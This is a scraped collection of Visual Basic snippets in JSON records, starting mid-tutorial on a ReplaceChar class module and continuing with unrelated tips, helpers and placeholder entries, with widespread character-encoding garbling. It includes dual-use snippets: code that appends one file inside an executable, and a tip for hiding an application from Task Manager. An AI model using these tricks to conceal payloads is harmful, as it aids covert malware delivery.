ReplaceChar.┬á This will be the\nname of the object.\n6.┬á Declare the following variables and events.\n<blockquote>\n Option Explicit \n \n Private mToBeReplaced As String * 1 \n \n Private mReplaceWith As String * 1 \n \n Private mCount As Integer \n \n Public Event NoSubstitute(strString As String)\n Notice that the variables are private and the the event is\n public.┬á The variables actually hold values for the properties.┬á\n Since they are private, the program itself cannot manipulate them.┬á Only\n the module can change them.┬á Two of the strings are limited to 1\n character in length.\n</blockquote>\n7.┬á Go to the Tool menu and select Add Procedure.┬á\nType the name of the property (ToBeReplaced) and select property option.┬á The scope\nshould be public for this property. Click OK. This will create two subs. One to\nsend data to the main project (Get) and one to receive data (Let).┬á You\nwill have to change the parameters to the variable types listed below.\n8.┬á Enter the following code for the two properties.┬á\nThe ToBeReplaced property hold the value of the character that will be replaced.\n<blockquote>\n Public Property Get ToBeReplaced() As String \n ┬á┬á┬á ToBeReplaced = mToBeReplaced \n End Property\n \n Get is used to send information from the object to the program.┬á The\n program is getting information.┬á Notice, the properties equal the\n variable declared in the declartions section.\n Public Property Let ToBeReplaced(ByVal strChoice As String) \n ┬á┬á┬á mToBeReplaced = strChoice \n End Property┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á\n Let is used to retrieve value from the program.┬á The\n program lets the module have information.┬á\n</blockquote>\n9.┬á Repeat the above the process for the ReplaceWith\nProperty.┬á The ReplaceWith property holds the value to replace the desired\ncharacter with.\n<blockquote>\n Public Property Get ReplaceWith() As String \n ┬á┬á┬á ReplaceWith = mReplaceWith \n End Property \n \n Public Property Let ReplaceWith(ByVal strChoice As String) \n ┬á┬á┬á mReplaceWith = strChoice \n End Property\n</blockquote>\n10.┬á Finally, add the Count Property.┬á It will be read\nonly so it does not have a let property.┬á The count property will return to\nthe program the number of substitutions made.\n<blockquote>\n Public Property Get Count() As Integer \n ┬á┬á┬á Count = mCount \n End Property\n</blockquote>\n11.┬á Now, we are going to add a method to the class\nmodule.┬á Methods can consist of funtions or procedures.┬á This method\nscans the string and makes the replacements.┬á It also raises an\nevent.┬á Look toward the bottom of the code.┬á If no replacements are\nmade, an event is raised.┬á This will be used in the form's code.┬á\nEnter the following code.\n<blockquote>\n Public Function ReplaceChar(strString As String) As String \n ┬á┬á┬á Dim intLoop As Integer \n ┬á┬á┬á Dim intLen As Integer \n \n ┬á┬á┬á Dim strTemp As String \n ┬á┬á┬á Dim strTest As String \n ┬á┬á┬á Dim strHold As String \n \n ┬á┬á┬á mCount = 0 \n ┬á┬á┬á 'The replacement count should be zero. \n \n ┬á┬á┬á '####################################### \n ┬á┬á┬á '# The following code scans the string┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á\n # \n ┬á┬á┬á '# and makes the desired replacements.┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á\n # \n ┬á┬á┬á '####################################### \n ┬á┬á┬á intLoop = 1 \n ┬á┬á┬á strTemp = \"\" \n ┬á┬á┬á strHold = strString \n ┬á┬á┬á intLen = Len(strString) + 1 \n ┬á┬á┬á Do Until intLoop = intLen \n ┬á┬á┬á┬á┬á┬á┬á intLoop = intLoop + 1 \n ┬á┬á┬á┬á┬á┬á┬á strTest = Left(strHold, 1) \n ┬á┬á┬á┬á┬á┬á┬á If strTest = mToBeReplaced Then \n ┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á 'mTobeReplaced comes\n from the properties. \n ┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á strTemp = strTemp & mReplaceWith \n ┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á 'mReplaceWith comes from\n the properties. \n ┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á mCount = mCount + 1 \n ┬á┬á┬á┬á┬á┬á┬á Else \n ┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á strTemp = strTemp & Left(strHold, 1) \n ┬á┬á┬á┬á┬á┬á┬á End If \n ┬á┬á┬á┬á┬á┬á┬á strHold = Right(strHold, Len(strHold) - 1) \n ┬á┬á┬á Loop \n ┬á┬á┬á '####################################### \n ┬á┬á┬á '# Scanning and replacement code ends.┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á\n # \n ┬á┬á┬á '####################################### \n \n ┬á┬á┬á If mCount <> 0 Then \n ┬á┬á┬á┬á┬á┬á┬á ReplaceChar = strTemp \n ┬á┬á┬á┬á┬á┬á┬á 'Write the new string. \n ┬á┬á┬á Else \n ┬á┬á┬á┬á┬á┬á┬á RaiseEvent NoSubstitute(strTemp) \n ┬á┬á┬á End If \n ┬á┬á┬á 'If mCount is zero the no replacements \n ┬á┬á┬á 'were made. This means that we want to \n ┬á┬á┬á 'raise the event NoSubstitute. \n \n End Function\n</blockquote>\n12.┬á Provide everything was entered correctly, the class\nmodule is fully functional now.┬á Save it and go back to the form.\n13.┬á Enter the following declaration.┬á This declares a\nvariable as a type of the created object.\n<blockquote>\n Option Explicit \n Dim WithEvents ReplacementString As ReplaceChar\n Note that WithEvents is not required.┬á However, it is\n necessary if you want to use events.\n</blockquote>\n14.┬á Enter the code for the cmdReplace_Click Event.┬á\nYou have to create a new instance of the object first.┬á Next, set the\nproperties ToBeReplaced and ReplaceWith.┬á Next call the ReplaceChar\nmethod.┬á Finally use the Count property to get the number of replacements.\n<blockquote>\n Private Sub cmdReplace_Click() \n \n ┬á┬á┬á Set ReplacementString = New ReplaceChar \n ┬á┬á┬á 'Create a new object of the class that \n ┬á┬á┬á 'was created. \n \n ┬á┬á┬á ReplacementString.ToBeReplaced = txtChar.Text \n ┬á┬á┬á 'Send the property ToBeReplaced. This \n ┬á┬á┬á 'is a Let sub in the module. \n \n ┬á┬á┬á ReplacementString.ReplaceWith = txtReplacement.Text \n ┬á┬á┬á 'Send the property ReplaceWith. This \n ┬á┬á┬á 'is a Let sub in the module. \n \n ┬á┬á┬á lblResult.Caption = ReplacementString.ReplaceChar(txtString.Text) \n ┬á┬á┬á 'Set the caption of lblResult with the \n ┬á┬á┬á 'results of the Replace method. \n \n ┬á┬á┬á lblCount.Caption = ReplacementString.Count \n ┬á┬á┬á 'Get the count through the count property. \n ┬á┬á┬á 'This is a Get sub in the module. \n End Sub \n \n</blockquote>\n15.┬á Program the event procedure for the class\nmodule.┬á The event fires if no replacements were made.┬á You can code\nwhatever actions want to transpire when the event happens.┬á I used a\nmessage box to alert the user that no changes were made.\n<blockquote>\n Private Sub Replacementstring_NoSubstitute(strString As String) \n 'This subs only purpose is to demonstrate using an event. StrString is passed \n 'from the module back to the program. \n \n ┬á┬á┬á MsgBox \"No substitutions were made in \" & strString, vbOKOnly, \"Warning\" \n End Sub\n</blockquote>\n16.┬á Enter code for the final two command buttons.\n<blockquote>\n Private Sub cmdClear_Click() \n \n ┬á┬á┬á Set ReplacementString = Nothing \n ┬á┬á┬á 'Destroy the object so resources \n ┬á┬á┬á 'are not wasted. \n \n ┬á┬á┬á lblResult.Caption = \"\" \n ┬á┬á┬á lblCount.Caption = \"\" \n ┬á┬á┬á txtChar.Text = \"\" \n ┬á┬á┬á txtReplacement.Text = \"\" \n ┬á┬á┬á txtString.Text = \"\" \n ┬á┬á┬á 'Clear the controls. \n \n ┬á┬á┬á txtString.SetFocus \n ┬á┬á┬á 'Return to the first text box. \n End Sub \n \n Private Sub cmdExit_Click() \n \n ┬á┬á┬á Set ReplacementString = Nothing \n ┬á┬á┬á 'Tidy up. Don't waste resources. \n \n ┬á┬á┬á End \n End Sub\n</blockquote>\n17.┬á That's it.┬á The program should run.┬á The\nmodule can be inserted in other programs now.┬á It does not have to be used\nwith text box or labels.┬á It can be used purely in code.┬á For example.\n<blockquote>\n Dim WithEvents RepStr As ReplaceChar\n Set RepStr = New ReplaceChar\n RepStr.ToBeReplace = \" \"\n RepStr.ReplaceWith = \"_\"\n strString = RepStr.ReplaceChar(strString)\n if RepStr.Count = 0 then┬á\n ┬á┬á┬á msgbox \"No subs made\"\n End if\n</blockquote>\nThis would replace all space in a string with an\nunderscore.┬á Pretty useful.\n┬á\n If you have any suggestions, please feel free to contact me at\njerry_m_barnes@hotmail.com.\n</body>\n</html>\n"},{"WorldId":1,"id":8878,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":9664,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":9761,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":10235,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":10005,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":8888,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":9330,"LineNumber":1,"line":"Private Sub AppendToExe(exefile$,filetoappend$)\n Open filetoappend$ For Binary As #1\n filedata$ = String(LOF(1), \" \")\n Get #1, , filedata$\n Close #1\n Open exefile$ For Binary As #1\n f = LOF(1)\n Seek #1, f + 1\n Put #1, , \"WAP\" 'any identifer\n Put #1, , filedata$\n Close #1\n \nEnd Sub\nPrivate Sub ExtractFromExe(exefile$,filetoextr$)\n Open exefile$ For Binary As #1\n filedata$ = String(LOF(1), \" \")\n Get #1, , filedata$\n Close #1\n pos = InStr(1, filedata$, \"WAP\")\n f$ = Mid$(filedata$, pos + 3)\n \n Open filetoextr$ For Binary As #2\n Put #2, , f$\n Close #2\n \nEnd Sub"},{"WorldId":1,"id":8899,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":9071,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":9672,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":10467,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":10307,"LineNumber":1,"line":"http://host.bip.net/niklas_lonn/kickbaby.zip"},{"WorldId":1,"id":9166,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":9548,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":9863,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":9948,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":8934,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":8941,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":8942,"LineNumber":1,"line":"'Firstly put a Data control in your form and\n'add this code to the form load or anywhere that\n'is suitable\nPrivate Sub Form_Load()\nData1.DatabaseName = App.Path & \"\\alamat.mdb\"\nEnd Sub"},{"WorldId":1,"id":9111,"LineNumber":1,"line":"IF TableExists(strTableName) then MsgBox strTableName & \" found.\" else MsgBox strTableName & \" not found.\"\nPrivate Function TableExists(TableName) As Boolean\n'I ususally use a global Database object, however' you can just as easily pass it into the function if you'd prefer\nDim strTableName$ 'string\nOn Error GoTo NotFound\nIf TableName <> \"\" Then strTableName = dbMyDatabase.TableDefs(strTableName).Name\n'If the table exists, the string will be filled, 'otherwise it will err out and TableExists will remain false.\nTableExists = True\nNotFound:\nEnd Function\n'I have VERY often seen people use the standard routine of\n'going through EACH and EVERY table comparing each one till\n'they get the the end, as in\n \n 'For Each MyTable in DB.TableDefs\n ' if MyTable.Name = strNameImLookingFor then\n 'TableExists = true\n 'Exit For\n 'end if\n 'Next\n'This is NOT the way to do this. You will unecesesarily use up\n'yours as well as your users' very valuable time.\n'Use this function. Make it private. When you pass the name\n'of the table you need to check for into this routine, the\n'recordset will either retrieve it, with a quickness, or it\n'will error out, which is even quicker. If you have this in\n'a private function, the erroring out will equate to it\n'returning a negative response for the table search.\n'I might add that this technique works superbly with field searches\n'as well (such as Serial No, credit cards, socials, phone numbers, etc).\n'And, there you have it.\n"},{"WorldId":1,"id":8961,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":8967,"LineNumber":1,"line":"Screen.MousePointer = 11\nDim ReturnStr As String\nRichTextBox1.Text = Inet1.OpenURL(\"http://www.planet-source-code.com\", icString)\nReturnStr = Inet1.GetChunk(2048, icString)\nDo While Len(ReturnStr) <> 0\n DoEvents\n RichTextBox1.Text = RichTextBox1.Text & ReturnStr\n ReturnStr = Inet1.GetChunk(2048, icString)\nLoop\nScreen.MousePointer = 0"},{"WorldId":1,"id":9010,"LineNumber":1,"line":"Public Sub List_Add(List As ListBox, txt As String)\nList.AddItem txt\nEnd Sub\nPublic Sub List_Load(TheList As ListBox, FileName As String)\n'Loads a file to a list box\nOn Error Resume Next\nDim TheContents As String\nDim fFile As Integer\nfFile = FreeFile\n Open FileName For Input As fFile\n Do\n Line Input #fFile, TheContents$\n Call List_Add(TheList, TheContents$)\n Loop Until EOF(fFile)\n Close fFile\nEnd Sub\nPublic Sub List_Save(TheList As ListBox, FileName As String)\n'Save a listbox as FileName\nOn Error Resume Next\nDim Save As Long\nDim fFile As Integer\nfFile = FreeFile\nOpen FileName For Output As fFile\n For Save = 0 To TheList.ListCount - 1\n Print #fFile, TheList.List(Save)\n Next Save\nClose fFile\nEnd Sub\nPublic Sub List_Remove(List As ListBox)\nOn Error Resume Next\nIf List.ListCount < 0 Then Exit Sub\n List.RemoveItem List.ListIndex\nEnd Sub\n\n"},{"WorldId":1,"id":9481,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":10018,"LineNumber":1,"line":"'Go to the previous webpage\nWebBrowser1.GoBack\n'Go to the present webpage\nWebBrowser1.GoForward\n'Go to the default IE home\nWebBrowser1.GoHome\n'Go to the default search page\nWebBrowser1.GoSearch\n'Refresh the current webpage\nWebBrowser1.Refresh\n'Navigate to a webpage\nWebBrowser1.Navigate \"www.YourSite.com\"\n \n'Printing:\nWebBrowser1.ExecWB OLECMDID_PRINT, OLECMDEXECOPT_DONTPROMPTUSER\n'Saving a webpage:\nWebBrowser1.ExecWB OLECMDID_SAVEAS,OLECMDEXECOPT_PROMPTUSER\n'Open a webpage file on located on your computer:\nOn Error GoTo fileOpenErr\nCommonDialog1.CancelError = True\nCommonDialog1.flags = &H4& Or &H100& Or cdlOFNPathMustExist Or cdlOFNFileMustExist\nCommonDialog1.DialogTitle = \"Select File To Open\"\nCommonDialog1.Filter = \"HTM (*.htm)|*.htm|Txt Files (*.txt)|*.txt|Jpg Files (*.jpg)|*.jpg|Gif Files (*.gif)|*.gif|All Files (*.*)|*.*\"\nCommonDialog1.ShowOpen\nwebbrowser1.Navigate CommonDialog1.FileName\nfileOpenErr:\nExit Sub\n'Open a new web browser using your program and not IE:\nDim NewBrowser as Form1\nNewBrowser.Show\nNewBrowser.Caption = \"MyBrowser\"\n'Load IE Preferences:\nDim dblReturn As Double\ndblReturn = Shell(\"rundll32.exe shell32.dll,Control_RunDLL inetcpl.cpl,,0\", 5)\n'An advanced Stop:\nIf webbrowser1.Busy Then\nwebbrowser1.Stop\nwebbrowser1.GoBack\nEnd If"},{"WorldId":1,"id":9659,"LineNumber":1,"line":"webbrowser1.ExecWB OLECMDID_SAVEAS, OLECMDEXECOPT_PROMPTUSER"},{"WorldId":1,"id":9622,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":64750,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":64151,"LineNumber":1,"line":"VB Hints:\nGive description to your print jobs:\n<blockquote>\n\tBefore printing set APP.TITLE to the description of \n\tthe print job. \n\tThis way, the description of the document being printer will appear in the \n\tprinter job window instead of your application \n\tname. \n\tEx:\n\t<blockquote>\n\t\tapp.title = \"Invoice #1234\"\n\t</blockquote>\n\t[do the printing code and enddoc]\n</blockquote>\nQuickly get data from a separated string\n<blockquote>\n\tLet's consider \n\t<blockquote>\n\t\tdim a as string \n\t\tdim atmp() as string \n\t\ta=\"Text1;Text2;Text3;Text4\" \n\t\tatmp=split(a,\";\") \n\t\tTest = a(3)\n\t</blockquote>\n\tNow let's look at...\n\t<blockquote>\n\t\tdim a as string \n\t\ta=\"Text1;Text2;Text3;Text4\" \n\t\tTest = split(a,\";\")(3)\n\t</blockquote>\n\tThis way you can get the \"Text4\" string directly \n\tfrom split instead of mapping a temporary string (previous example). \n\tIt's actually faster too ;) \n\t \n\tNaturally, this also applies to tab delimited files. Example, Create a file \n\tin excel and export as TXT (Tab delimited) \n\tYou can get the cell from the respective row and column after reading \n\tcontents to memory\n\t<blockquote>\n\t\tfunction CellData(data as string, row as \n\t\tinteger, column as integer) as variant \n\t\tCellData = split(split(data,vbcrlf)(Row),vbtab)(Column) \n\t\tend function\n\t</blockquote>\n\t \n</blockquote>\nQuickly get rounding of a number the right way:\n<blockquote>\n\tSince VB rounds fail in mathematical functions (ex: \n\tRound(2.5) results in 2 instead of 3) \n\twe can avoid that by creating a new Round Function in VB\n\t<blockquote>\n\t\tfunction MathRound(value as Double, \n\t\toptional lngDecimals as Long = 0) as double \n\t\tMathRound = CDbl(Format$(value * 10^lngDecimals, \"0\")) / 10^lngDecimals \n\t\tend function\n\t</blockquote>\n\tThis function also supports negative decimal places. \n\tEx: MathRound(1100,-3)=1000 \n\t \n\tThere's a faster function (also created by me) available on the net if you \n\tprefer speed over simplicity. \n\tCheck it at \n\thttp://www.planet-source-code.com/vb/scripts/ShowCode.asp?txtCodeId=61414&lngWId=1 \n \n</blockquote>\nImmediate window\n<blockquote>\n\tIn case you don't know, you can use \"?\" to replace \"debug.print\" \n\tin the immediate window \n\tEx: \n\tGo to immediate window and type:\n\t<blockquote>\n\t\t? 1+1\n\t</blockquote>\n\tIt will appear: 2 (naturally) \n\tIt's useful to test functions or parts of code parsing the output value to \n\tthe immediate window, or simply to check variables. \n\tEx: \n\t<blockquote>\n\t\t? a=3 \n\t\tFalse\n\t</blockquote>\n\tBTW, if type it in your VB code itself, the \"?\" will \n\tbe replaced to \"Print\" just after you press enter. \n\tEx:\n\t<blockquote>\n\t\tme.? \"test\"\n\t</blockquote>\n\twill be automatically replaced to:\n\t<blockquote>\n\t\tMe.Print test\n\t</blockquote>\n</blockquote>\nUse mouseweelfix\n<blockquote>\n\tVB6 doesn't support mousewheel natively, so you \n\tcan't scroll up and down with your mouse. \n\tBut there's a fix... actually, it's an addon for VB that scrolls the text \n\tand implements that so-much-needed function. \n\tYou can find it in microsoft here: http://support.microsoft.com/?id=837910 \n \n</blockquote>\nHow to register an ActiveX in code.\n<blockquote>\n\tJust make a declaration such as:\n\t<blockquote>\n\t\tPrivate Declare Function REGISTER_MYDLL \n\t\tLib \"MYDLL.DLL\" _ \n Alias \"DllRegisterServer\" () As Long \n\t\tPrivate Declare Function UNREGISTER_MYDLL Lib \"MYDLL.DLL\" _ \n Alias \"DllUnregisterServer\" () As \n\t\tLong \n\t\tPrivate Const ERROR_SUCCESS = &H0\n\t</blockquote>\n\tThen, simply call\n\t<blockquote>\n\t\tREGISTER_DLL\n\t</blockquote>\n\tor\n\t<blockquote>\n\t\tUNREGISTER_DLL\n\t</blockquote>\n\tin your code to register or unregister the dll. \n\t \n\tThere are more advanced functions that enable you to specify the DLL to get \n\tregistered on code instead of \n\tmapping the actual DLL file in the declaration. But if you know your DLL's, \n\tthen simply include the declarations in the EXE \n\tand add \n\tan option to Fix components by calling the respectivefunctions \n\tThis also works for OCX files.\n</blockquote>\nXCOPY Install?\n<blockquote>\n\tYES! That is, if you only use OCX files... \n\tIn case your EXE requires external OCX files, and you put them in the same \n\tpath as the EXE, they are loaded without any \n\tproblems! :) \n\tDoesn't work for dll's though. You still have to register them using \n\tregsvr32 or using the previous hint. \n\tIf you want to make sure your app works even without VB6 Runtimes, simply \n\tinclude MSVBVM60.DLL to your EXE path, but don't \n\tregister it. \n\tBut if you want to run your application even though you're not sure if the \n\ttarget system has VB6 runtimes, just include \n\tthe MSVBVM60.DLL in the same path as the EXE... it works :). \n\tNote for \"Virgin\" Win95/98: \n\tMust have DCOM previous installed (it is installed with IE 4.5 anyway and \n\tMDAC's, and other updates) \n \n</blockquote>\nHow to enable/disable all controls in a form/container\n\n<blockquote>\n\tto disable:\n\t<blockquote>\n\t\ton error resume next \n\t\tfor each o in me.controls: o.enabled = False: next\n\t</blockquote>\n\tto enable:\n\t<blockquote>\n\t\ton error resume next \n\t\tfor each o in me.controls: o.enabled = True: next \n \n\t</blockquote>\n</blockquote>\nHow to change container of an object.\n<blockquote>\n\tExample, place a commandbutton in a form, and add a \n\tframe next to it. \n\tNote that both controls will have Form1 as a parent. \n\tIf you want commandbutton to be included inside the frame, but to make it \n\twork in runtime simply add:\n\t<blockquote>\n\t\tSET Command1.container = Frame1 \n \n\t</blockquote>\n</blockquote>\nAvoid using VB strings greater than 32k\n<blockquote>\n\tVB Strings is the \"Achilles's heel\" of VB in terms of \n\tspeed. (ok, strings and threading/subclassing) \n\tI recomend you use a stringhelper object (check AllocString page at http://www.xbeat.net/vbspeed/) \n\tif you want \n\tbig strings (1MB or more) to store data. Beware of this AllocString since \n\tthe data inside the string will not be blank!\n\t \n</blockquote>\n[Added 2006-02-02] \nRead file from disk into memory (Fastest way possible without API \nwith low cpu usage)\n<blockquote>\n\tI've done this function to obtain all data from an \n\texisting file to memory. Note that if you have very large files (like 1GB) \n\tit will take 1GB of RAM as well... It's great to read data and handle it in \n\tmemory. I get about 7MBytes/second in my P4-3000.\n\tPublic Function ReadFullFile(file As String) \n\tAs Byte() \n\tDim a As Long \n\ta = FreeFile \n\tOpen file For Binary As #a \n\tReDim ReadFullFile(LOF(a)-1) \n\tGet #a, , ReadFullFile \n\tClose #a \n\tEnd Function \n \n\tIt stores all data in a bytearray... It's better \n\tthan storing in a VB String, since all VB strings are stored in UNICODE, \n\tmeaning that for each byte in the file, it will take 2 bytes of RAM. So, if \n\tI used a string, I would need 200MB of RAM to read a file of 100MB.\n\tNaturally, you can convert it to string using the \n\tcode:\n\tDim FileData as string \n\tFileData = StrConv(Readfullfile(file),vbUnicode)\n\tBe careful, since you can run out of out of memory \n\twith very large files! \n\tYou should also take in consideration, that if the file has 0 bytes or \n\tsimply doesn't exist, it will result in an error, so you should make sure \n\tthat the file being read exists and it's not 0 bytes long.\n\tYou can also change the function to read the file \n\tdirectly to a string, by using\n\tPublic Function ReadFullFile(file As String) \n\tAs String \n\tDim a As Long \n\ta = FreeFile \n\tOpen file For Binary As #a \n\tReadFullFile = Space(LOF(a)) ' You can use the VBSpeed's StringHelper to \n\tmake this faster for large files \n\tGet #a, , ReadFullFile \n\tClose #a \n\tEnd Function \n \n</blockquote>\nAvoid VB IDE bugs\n<blockquote>\n\tI've used VB for several years now, and I've \n\tdiscovered several bugs that many times corrupt projects and you should be \n\taware of that.\n\tLost bags \n\tFirst of all, if you have an UserControl present in your EXE project, \n\tremember that if you change the project name, all properties previously set \n\tin your forms will be lost. To be exact, all propbag's in your user \n\tcontrols become \"blanks\" and defaults are used. \n\tExample: \n\tYou've added an UserControl to your project and you're using it in Form1. \n\tOne of the properties of that user control is \"Caption\" and you've set that \n\tto \"Hello world\"... Nice, that is saved on the usercontrol's propbag... If \n\tyou change the EXE project name, and check your form again, the \"Hello world\" \n\tis now gone.\n\tCorrupt VBP's \n\tOne of the most annoying things in VB6 is that it sometimes corrupts \n\tthe VBP's by mistaking some ActiveX objects with ActiveX controls. \n\tExample: If you have ActiveX DLL's in your project references, and you also \n\tuse external ActiveX Objects (usercontrols) in your forms, sometimes VB6 \n\twill list the object as a reference. In conclusion, when you open the VBP \n\tonce again, it will give a load error and all forms that use the \"mixed up\" \n\tcontrol will have their objects replaced with a picture box.\n\tThis happens when you open several projects in VB (ex: \n\tEXE + DLL) and use an external OCX UserControl, compile the DLL with the other projects loaded, quit VB \n\tand save changes. After that, just load the EXE VBP. \n\tWhen this problem happens, the solution I've found is to open the VBP with \n\tnotepad and delete the \"Reference\" line that includes the OCX/VBP. Open the \n\tVBP, include the OCX once again in the add controls, and re-save the project \n\t(just the VBP). Reopen the VBP and all is well again.\n</blockquote>\n \n[Added 2006-03-07] \nAvoid using Subclassing... At least with ASM code on it \n Until recently, I've been using the ASM subclassing from (the \ngreat) \nVBAccelerator.com. The file ssubtmr6.dll to be exact. \n Unfortunatly, I had to return to the previous non-ASM code since every call crashed my application in a computer I had... \n \n I investigated, and I found \nthe reason... DEP - Data Execution Prevention... \n Naturally, when DEP is used Windows XP and 2003.NET with a \nDEP compliant CPU (ex: AMD64 or the latests Intel CPU's), Windows will deny the ASM part of the subclassing \nto run (since the code is stored in a variable area and not in a code execution \narea)... \n Windows automatically shows a GPF when the subclassing is initialized in \nthis mode and the application is closed. \n \n There are two ways to avoid the problem: \n 1) Not recomended \n \n Change the boot.ini of \nthe operating system (not recomended) or add your application to the DEP 'exclusion' \nlists. \n Either way, it doesn't garantee a crash free operation, \nand the user has to add your application to the exclusion list manually. \n 2) Recomended \n Return to the previous subclassing that \ndoesn't use the ASM code. \n A little slower, but it's crash free with DEP compliant cpu's.\n This is my recomendation if you want to make a stable, \nsubclassing application to be used in Windows XP and/or 2003.NET.\n \nOn error resume next... Beware! \n If you want a 99% crash free app, you can always add the on \nerror resume next on the first line of every sub and function... I don't \nrecomend it, but at least it won't show any VB Runtime errors... However, \nremember to set "on error goto 0" before the end of the function/sub, if not, \nyour code may not work at all (exits the first function calls another one \nwithout resuming the next line if an error was raised in the second function). \n \n \nDIR$ - A great thing if you implement it right. \n VB has the DIR$ function so you can list folders and files, \nhowever you should be aware that this function is shared across your entire \napplication. So, if you have one function that does something like: \n \n Sub ListFolder() \n mainpath = "c:\\windows" \n a$=Dir$(mainpath) \n do until a$="" \n b$=HowManyDirs(mainpath & "\\" & a$) \n a$=Dir$ \n Loop \n \n Function HowManyDirs(f) as long \n b$=dir$(f,vbDirectory) \n do until b$="" \n HowManyDirs=HowManyDirs+1 \n b$=dir$ \n loop \n end function \n \n This code won't work at all, since the Dir$ function is \ncommon in the entire application. If the first sub is using the Dir$, no \nfunction should use it before the first sub finishes. You won't get the right \nresults if you do.\n \nBeyond 2GB files with VB \n All VB functions to get file size (LOF(x) or \nFileLen(f)) are limited to longs... \n That means that you only have 31 bits (+1 bit for sign) to \nstore the size of the file... That gives VB a limit of 2147483648 bytes (2GB). \n Using internal functions and calls, like OPEN, SEEK, etc, you \ncan't get data beyond this point, so you'll need to use the API for that. \n Anyway, you should be aware of this VB6 limitation if your \nproject deals with very large files (ex: VOB's, MPG's, AVI's, etc) so you can \nimplement the necessary 64-bit functions to avoid this limitation. \n In terms of internal results (ex: a function you implement to \nget the file size in 64-bits), I recomend you use the CURRENCY to get the file \nsize... Even though "Currency" data type isn't a full integer type, you'll have \nthe limit raised to 922.337.203.685.477 bytes (around 920 TeraBytes) per file \nthat I think is good enough for the next few years ;) \n \n Hint: If you're using a function to check if a file exists on \nthe hard disk, and your code is similar to: \n \nFunction DoesFileExist(f as string) as Boolean \n \nOn error resume next \n \nDoesFileExist = (filelen(f)>0) \n \nEnd Function \n You should be aware that VB's \nFileLen function reports negative values when a file is bigger than 2GB, so \navoid using it unless you know what you're doing. In some cases, it can even \nreport that the file doesn't exist even though the file is there.\n \nUse VB's Application LogEvent to track your \napplication status: \n VB provides a good way to log events to a file or to \nWindows NT/XP Application Log. \n Note that this will only in the compiled file. No event will \nbe logged in IDE mode. \n \n How to log events to an external file: \n \nApp.StartLogging "c:\\test.log", vbLogToFile ' or \nVbLogOverwrite \n \nApp.LogEvent "Hello world", vbLogEventTypeError \n \nApp.LogEvent "Hello world", vbLogEventTypeWarning \n \nApp.LogEvent "Hello world", vbLogEventTypeInformation \n \n How to log events to NT \nApplication Log: \n \nApp.StartLogging "My Application", vbLogToNT \n \nApp.LogEvent "Hello world", vbLogEventTypeError \n \nApp.LogEvent "Hello world", vbLogEventTypeWarning \n \nApp.LogEvent "Hello world", vbLogEventTypeInformation \n One great thing about \nthis is that your other calls (ex: DLL's and OCX's) can use the logevent to the \nsame log as the main EXE file. \n This is great to debug a applications or communication \nservices. \n Just remember not to log TOO MUCH or else it will be filled \nwith irrelevent data.\n \nSome functions that most people are unware of \n How to convert a byte array to a string: \n \nMyString = strconv(MyByteArray, vbUnicode)\n How to convert a string to a byte \narray: \n \nMyByteArray = StrConv(MyString, vbFromUnicode)\n How to add controls to your forms in\nrun mode: \n \nPrivate WithEvents Text1 As TextBox ' So you can also have events \n Sub \nAddTextBox() \n Set Text1 = \nMe.Controls.Add("VB.TextBox", "Text1") \n ' Now we have \nthe control, just as if it was added on design mode. \n Text1.Move 0, \n0, 500, 100 \n Text1.Visible \n= True \n End With \n This also \nworks with other controls (ex: Winsock) as long as the control is present in \nyour project's VB toolbox. \n In this case you also need to remove \nthe check 'Remove information about unused ActiveX' in \n the VB compilation options unless if \nyou have at least one control present in any of your project forms.\n How can you check the number of forms \ncurrently loaded: \n \nNumberOfFormsLoaded = vb.Forms.Count \n How to unload all forms in a MDI \nproject safely: \n \ndo until vb.Forms.Count <=0 \n unload \nvb.forms(0) \n loop \n Note: if \nyou have in your form's QueryUnload or Unload events, the possibility of a \ncancel operation this code won't work properly.\n Check if you can show a non-Modal \nform before you try it to show it. \n \nMyForm.Show (1+App.NonModalAllowed) \n This will automatically show your \nform in Modal mode is a previous form is already in that mode... \n Note that if you try to show a \nnon-Modal form when a Modal form is visible, VB will stop the execution with a \nrun time error, crashing your application entirely, so this is safe to use \nensuring that no "Non-Modal" run time error occurs.\n How to hide your application from the \nTask Manager's "Applications" tab (however it will be visible in the "Processes" \ntab): \n \nApp.TaskVisible = False\nCheers \n \n// FCLage \n2006-03-07\n"},{"WorldId":1,"id":9016,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":9019,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":9244,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":9347,"LineNumber":1,"line":"Dim blue&, green&, red&, colour&\nBlue& = Int(Colour& / 65536)\nGreen& = Int((Colour& - (65536 * Blue&)) / 256)\nRed& = Colour& - (Blue& * 65536) - (Green& * 256)\n'to return the colour to its original decimal format\nColour& = RGB(Red&, Green&, 